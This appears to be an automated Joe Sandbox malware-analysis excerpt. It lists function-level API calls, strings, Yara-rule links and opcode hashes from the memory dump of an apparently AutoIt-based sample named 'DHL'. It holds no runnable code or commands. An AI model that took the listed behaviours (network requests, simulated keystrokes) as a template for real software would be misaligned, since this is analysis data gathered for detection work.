AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00A0A1E1,?,00000001), ref: 00A0B21D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 2884f3930e3429d2a7488c70f922844088aa1f33e7676216e53d64d9fb1b7c15
Instruction ID: 4c1b309ebfbe42c00bbbb4fdb7f2004fd20efdbd8dfdb3fad2f6bd7c4725606c
Opcode Fuzzy Hash: 2884f3930e3429d2a7488c70f922844088aa1f33e7676216e53d64d9fb1b7c15
Instruction Fuzzy Hash: A6319372510208BFDF10DFA4EE45BAD7BA9BB65321F118505F905D61E0D7B49A828F70

Function 009D2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009D2C94

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009D2CA0
_free.LIBCMT ref: 009D2CAB
_free.LIBCMT ref: 009D2CB6
_free.LIBCMT ref: 009D2CC1
_free.LIBCMT ref: 009D2CCC
_free.LIBCMT ref: 009D2CD7
_free.LIBCMT ref: 009D2CE2
_free.LIBCMT ref: 009D2CED
_free.LIBCMT ref: 009D2CFB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 63310eabe3f783481451e30f1c91562ce90e6ae9e94767fd2d189d0719b5eb8b
Instruction ID: 3c9ca2093af12bc9bff92253eed418f95e1e2d0f17d204dfb0c5d33fecebc3e9
Opcode Fuzzy Hash: 63310eabe3f783481451e30f1c91562ce90e6ae9e94767fd2d189d0719b5eb8b
Instruction Fuzzy Hash: D011B976140108BFCB02EF54D952DDD3BA5FF55350F4184A6F9485F322D631EE50AB90

Function 009A1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 009A1459
OleUninitialize.OLE32(?,00000000), ref: 009A14F8
UnregisterHotKey.USER32(?), ref: 009A16DD
DestroyWindow.USER32(?), ref: 009E24B9
FreeLibrary.KERNEL32(?), ref: 009E251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 009E254B

Strings

close all, xrefs: 009A1454

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 8c5118692548e664cdcc80df089177b877494841eec5b84438b6b79704d7144c
Instruction ID: 9f388cac3ec29e2781a2a5565e0d23e87dec2b3012548e28d5f006b84e290f41
Opcode Fuzzy Hash: 8c5118692548e664cdcc80df089177b877494841eec5b84438b6b79704d7144c
Instruction Fuzzy Hash: 81D15931701212CFCB1AEF15C999B69F7A8BF46710F1542ADF44AAB261DB30AD12CF90

Function 00A17DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A17FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00A17FC1
GetFileAttributesW.KERNEL32(?), ref: 00A17FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00A18005
SetCurrentDirectoryW.KERNEL32(?), ref: 00A18017
SetCurrentDirectoryW.KERNEL32(?), ref: 00A18060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A180B0

Strings

*.*, xrefs: 00A18066

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 50b63c4259af9e9dda19a6282acde6efcda51e5a491e0f9024d7e1545e8321e8
Instruction ID: 8fc1fba72fbe4d19fb6fff319bd5354937c6243be183ab0bcdca79df4cde78a8
Opcode Fuzzy Hash: 50b63c4259af9e9dda19a6282acde6efcda51e5a491e0f9024d7e1545e8321e8
Instruction Fuzzy Hash: D9818D725082459BCB20EF54C844AEEB3F8BF89310F54585EF885DB290EB35DD85CB92

Function 009A5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 009A5C7A

Part of subcall function 009A5D0A: GetClientRect.USER32(?,?), ref: 009A5D30
Part of subcall function 009A5D0A: GetWindowRect.USER32(?,?), ref: 009A5D71
Part of subcall function 009A5D0A: ScreenToClient.USER32(?,?), ref: 009A5D99

GetDC.USER32 ref: 009E46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 009E4708
SelectObject.GDI32(00000000,00000000), ref: 009E4716
SelectObject.GDI32(00000000,00000000), ref: 009E472B
ReleaseDC.USER32(?,00000000), ref: 009E4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 009E47C4

Strings

U, xrefs: 009E4693

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 02903e43d168c45386b63d0f78c36b1676d9fdf4632c5889ccf363b8d6dbcf0e
Instruction ID: 43c15c2d64a4d72153106a20d863fa953c280cce0553bdf5cbc5717cf1b491dc
Opcode Fuzzy Hash: 02903e43d168c45386b63d0f78c36b1676d9fdf4632c5889ccf363b8d6dbcf0e
Instruction Fuzzy Hash: 1871E030500245EFCF22CF65CD84AAA7BB9FF4A360F144269FD955A1AAC3318C82DF90

Function 00A1359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00A135E4

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

LoadStringW.USER32(00A72390,?,00000FFF,?), ref: 00A1360A

Strings

"%s" (%d) : ==> %s:, xrefs: 00A13742
^ ERROR, xrefs: 00A136C9
Error: , xrefs: 00A136EF
Line %d (File "%s"):, xrefs: 00A1366B
"%s" (%d) : ==> %s:%s%s, xrefs: 00A13724

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 8b019399dd66ba15cbea2e64ba36a2c50241890816ed55659e0666a766c4e219
Instruction ID: 504e94605161e2d743888f8cc0e720aee91f985247c34db8168dbb71c3e3487e
Opcode Fuzzy Hash: 8b019399dd66ba15cbea2e64ba36a2c50241890816ed55659e0666a766c4e219
Instruction Fuzzy Hash: C1515A72800219BADF15EBE0DD46EEEBB78FF45350F148125F109721A2EB311A99DBA0

Function 00A38B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

Part of subcall function 009B912D: GetCursorPos.USER32(?), ref: 009B9141
Part of subcall function 009B912D: ScreenToClient.USER32(00000000,?), ref: 009B915E
Part of subcall function 009B912D: GetAsyncKeyState.USER32(00000001), ref: 009B9183
Part of subcall function 009B912D: GetAsyncKeyState.USER32(00000002), ref: 009B919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00A38B6B
ImageList_EndDrag.COMCTL32 ref: 00A38B71
ReleaseCapture.USER32 ref: 00A38B77
SetWindowTextW.USER32(?,00000000), ref: 00A38C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00A38C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00A38CFF

Strings

@GUI_DROPID, xrefs: 00A38C51
@GUI_DRAGFILE, xrefs: 00A38C9A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 6e8dd8869b602881cc658d2eac70852bba70f898015f227059fe5dd45dd5d6b4
Instruction ID: 11b5c20330fb8f28829c63b7e5248d808f9a2be9060c8f08aa40f9d81c3f66f5
Opcode Fuzzy Hash: 6e8dd8869b602881cc658d2eac70852bba70f898015f227059fe5dd45dd5d6b4
Instruction Fuzzy Hash: 2651BC71104300AFD700DF64DC96FAA77E4FB88714F000A2DF996A72E1CB74A945CBA2

Function 00A1C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A1C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A1C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A1C2CA
GetLastError.KERNEL32 ref: 00A1C322
SetEvent.KERNEL32(?), ref: 00A1C336
InternetCloseHandle.WININET(00000000), ref: 00A1C341

Strings

, xrefs: 00A1C2BB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 7ca9e1a86541eb17ccbc4b8ceae7659315eb66ee04eb533f72972a071d81bead
Instruction ID: 348d91637a643fd92ad4d947ed8848def653a51c44ede2bff6daa975c3e13232
Opcode Fuzzy Hash: 7ca9e1a86541eb17ccbc4b8ceae7659315eb66ee04eb533f72972a071d81bead
Instruction Fuzzy Hash: 2A319CB1640308AFD721DFA58C88AEBBBFCEB49760B10851EF456E7200DB30DD858B61

Function 00A0989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,009E3AAF,?,?,Bad directive syntax error,00A3CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00A098BC
LoadStringW.USER32(00000000,?,009E3AAF,?), ref: 00A098C3

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00A09987

Strings

Error: , xrefs: 00A09955
%s (%d) : ==> %s.: %s %s, xrefs: 00A098F1
Line %d:, xrefs: 00A09912
Line %d (File "%s"):, xrefs: 00A0992D
., xrefs: 00A0996D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 809f59ec3382d071659c7e6a36e2c747dd897016eb9c80cb3902f0fd4294b187
Instruction ID: 96cc49f7d2de481051fe4fb4bc8c3fcabab06ce59793201d4c8eecda24e1a9e3
Opcode Fuzzy Hash: 809f59ec3382d071659c7e6a36e2c747dd897016eb9c80cb3902f0fd4294b187
Instruction Fuzzy Hash: F2215E3280021EBBCF15AF90DC0AFEE7775FF59750F048855F519660A2EB719A18DB90

Function 00A0209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00A020AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00A020C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00A0214D

Strings

largeicons, xrefs: 00A020E1
smallicons, xrefs: 00A02115
list, xrefs: 00A0212F
details, xrefs: 00A020FB
SHELLDLL_DefView, xrefs: 00A020CC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 7cebcfc61c1a7f3534ad06546cf53bc9c8bed775490db28397ffb8ed1d789716
Instruction ID: ec5480b96ba095239378cf34aa45ea4913e9ecee284d714a8a20c87b0b3e2a97
Opcode Fuzzy Hash: 7cebcfc61c1a7f3534ad06546cf53bc9c8bed775490db28397ffb8ed1d789716
Instruction Fuzzy Hash: 1F110676A8870AB9FA156730EC0BFA677ACDF05324F20021AFB04A50D2FB6168525714

Function 009D8D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27d7542c6ac0377cc8c09f42f805f5499b7b9e00f93881412ec57410231ad0e
Instruction ID: fc2d978928b5d75ac175aaf0639bd599bf4e79686748b8e06014d135b454bd3e
Opcode Fuzzy Hash: f27d7542c6ac0377cc8c09f42f805f5499b7b9e00f93881412ec57410231ad0e
Instruction Fuzzy Hash: 09C1F474E44249AFDB11EFECDC41BAEBBB5AF49310F04809AF418AB392C7349941CB61

Function 009DCE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 009DCEB7
_free.LIBCMT ref: 009DCF22
_free.LIBCMT ref: 009DCF48
_free.LIBCMT ref: 009DCF71
_free.LIBCMT ref: 009DCFA9
_free.LIBCMT ref: 009DCFDA
_free.LIBCMT ref: 009DD01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 009DD09C
_free.LIBCMT ref: 009DD0B5

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 9577f34adc0471b7e0ffac6e54c711d6a98ec09c95cf94f502a4deca66a3342e
Instruction ID: fa9551e5d71f5c7b446afcbecf8532bf6d25afb5a81c374dacb7d7c4d4954536
Opcode Fuzzy Hash: 9577f34adc0471b7e0ffac6e54c711d6a98ec09c95cf94f502a4deca66a3342e
Instruction Fuzzy Hash: 386116B1A84302AFDB21AFB8DC95BAA7BA9EF45310F04C16FF944A7382D6319D41D750

Function 00A350D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00A35186
ShowWindow.USER32(?,00000000), ref: 00A351C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00A351CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00A351D1

Part of subcall function 00A36FBA: DeleteObject.GDI32(00000000), ref: 00A36FE6

GetWindowLongW.USER32(?,000000F0), ref: 00A3520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A3521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00A3524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00A35287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00A35296

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 2ec9a92a083257c76b5c026025f717f46ee21c511a6e1f1aa76e498cc451fcc3
Instruction ID: 986e9c68af255ecaf555b48ab965b4c230d42c3da057af32bc4d79daba8b8e6e
Opcode Fuzzy Hash: 2ec9a92a083257c76b5c026025f717f46ee21c511a6e1f1aa76e498cc451fcc3
Instruction Fuzzy Hash: 1C518130E50A08BFEF20AFBCCC46BD97BB5EB05721F148611FA15962E1C775A990DB41

Function 009B8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 009F6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 009F68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 009F68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 009F68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 009F68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,009B8874,00000000,00000000,00000000,000000FF,00000000), ref: 009F6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 009F691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,009B8874,00000000,00000000,00000000,000000FF,00000000), ref: 009F692D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 01db94e7c2b6247e2e0fea1acf247eb4bd8e74f4940d231689fe499b26f59069
Instruction ID: 0063f3eb74abcc9668442919d866813599df57b5553dbf41e36c6f4908994ef3
Opcode Fuzzy Hash: 01db94e7c2b6247e2e0fea1acf247eb4bd8e74f4940d231689fe499b26f59069
Instruction Fuzzy Hash: DB517B70600309EFDB20CF64CD55FAA7BB9FB48760F104518FA56A72A0DB74E991DB50

Function 00A1C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A1C182
GetLastError.KERNEL32 ref: 00A1C195
SetEvent.KERNEL32(?), ref: 00A1C1A9

Part of subcall function 00A1C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A1C272
Part of subcall function 00A1C253: GetLastError.KERNEL32 ref: 00A1C322
Part of subcall function 00A1C253: SetEvent.KERNEL32(?), ref: 00A1C336
Part of subcall function 00A1C253: InternetCloseHandle.WININET(00000000), ref: 00A1C341

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: eedea510066a9779c3fb9aa7e36a415ad067509c8f14726f5c52abca2aaa8d15
Instruction ID: 14d79ef7905963ce8186146ea5c698b9b6263601f6f79605f870feadf09c17a1
Opcode Fuzzy Hash: eedea510066a9779c3fb9aa7e36a415ad067509c8f14726f5c52abca2aaa8d15
Instruction Fuzzy Hash: EF31AC71280701BFDB21AFE5DD08AEBBBF8FF18320B00451DF95696610D730E8959BA0

Function 00A025A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A03A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A03A57
Part of subcall function 00A03A3D: GetCurrentThreadId.KERNEL32 ref: 00A03A5E
Part of subcall function 00A03A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A025B3), ref: 00A03A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00A025BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00A025DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00A025DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A025E9
